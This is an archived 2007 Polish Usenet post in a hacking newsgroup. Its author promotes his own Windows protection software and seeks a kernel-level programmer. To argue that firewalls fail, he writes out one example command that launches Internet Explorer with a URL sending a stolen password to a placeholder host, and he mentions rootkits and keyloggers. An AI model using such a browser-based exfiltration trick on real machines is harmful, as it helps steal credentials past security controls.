Article View: alt.pl.comp.os.hacking
Article #172149Re: [OT] poszukiwany niskopoziomowy programista (windows)
From: fijak
Date: Tue, 13 Mar 2007 23:46
Date: Tue, 13 Mar 2007 23:46
46 lines
3169 bytes
3169 bytes
>> Tworzymy oprogramowanie, które ma na celu chronić system Windows przed >> różnego rodzaju atakami, jednakże w sposób zupełnie odmienny niż >> wszystkie dotychczasowe programy tego typu. > > Rozwin. > > [..] > hmmm idee? nie chce sie szeroko rozpisywac, ale po prostu wszelkie zabezpieczenia nie daja pewnosci (nic nie daje pewnosci) ani nawet spokojnego snu, jesli ma do czynienia z waznymi danymi. mnie interesuje aspekt wykradniecia danych z pctow (koncowek, ale nie same dokumenty a np zapamietane hasla, keyloggery) lub uzycie ich do np atakow na ciekawszse kompy (eg serwery). uzywanie antywirusa, firewalla, aktyalizacji automat, nawet niskie prawa zalogowanego usera w niektorych sytuacjach niewiele daja. Zawsze istnieje mozliwosc jakigos wejscia do systemu, sieci itp. (eg glupota ludzi), luki 0 day, luki w oprgramowaniu nie ms itd. jesli wiec istnieje mozliwosc dostania sie do srodka i pzygotujemy kod tylko dla atakowanej organizacji to zaden antywir nas nie wykryje (prosze sie nie czarowac hereutystyka), istnieja bardzo proste sposoby "wyjscia" przy powlaczanych wszelkich rodzajach firewalli i innych podobnych rzeczy (eg odpalenie przegladaki inetowej mniej wiecej tak: "c:\..\iexplore.exe" "http://www.sometning.com?yourpasswordis=your_stolen_password" opisalem ze jest mozliwe wejscie i wyjscie, jesli chodzi o zdobycie informacji nijak pcet nie jest chroniony - po prostu nie ma takiego oprogramowania (procz mojego :) ) Aha jeszcze dosc ciekawe zagadnienie rootkity (prosze ew poczytac o naszej rodaczce Rutkowskiej) - przy zalozeniu ze mamy do czynienia z userem z prawami admina i udalo sie wejsc to mozna sie tak ukryc ze nie bedzie nas w stanie nic odnalezc. Moj soft rozwiazuje powyzsze problemy (nawet przy userze z prawami admina) i nie posiada sygnatir znanych szkodnikow - a reguly kto co moze robic To dziala! i nie obciaza nadto systemu. Problem moj polega na tym ze uzywam hookowania usermode ktore jest do obejscia (jezeli jakis szkodnik chcialby wywroci moj soft chroniacy) przydalo by mi sie grzebnie w ringu0 no ale to juz jest nieco skomplikowane i nie mam czasu na wglabianie w to totez szukam ludzi do tego. Mam nadzieje ze w miare zostalem jako-tako zrozumiany ps ciekawy sign
Technical Details
Message-ID:
<et7d4j$fk7$1@news.onet.pl>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!newsfeed.gazeta.pl!news.onet.pl!not-for-mailReferences:
<et6kap$q01$3@news.onet.pl> <1odjc4-omq1.ln1@traszkan.ds7>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!newsfeed.gazeta.pl!news.onet.pl!not-for-mail From: fijak <fijak@poczta.onet.pl> Newsgroups: alt.pl.comp.os.hacking Subject: Re: [OT] poszukiwany niskopoziomowy programista (windows) Date: Wed, 14 Mar 2007 00:46:27 +0100 Organization: Onet.pl Lines: 46 Message-ID: <et7d4j$fk7$1@news.onet.pl> References: <et6kap$q01$3@news.onet.pl> <1odjc4-omq1.ln1@traszkan.ds7> NNTP-Posting-Host: nat-n48-088.tsi.tychy.pl Mime-Version: 1.0 X-Trace: news.onet.pl 1173829587 16007 83.142.122.88 (13 Mar 2007 23:46:27 GMT) X-Complaints-To: usenet@news.onet.pl NNTP-Posting-Date: Tue, 13 Mar 2007 23:46:27 +0000 (UTC) X-Sender: rbVUpo+3+bcil9i83XQJLJEd6cTx0k4g In-Reply-To: <1odjc4-omq1.ln1@traszkan.ds7> User-Agent: Thunderbird 1.5 (Windows/20051201) Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit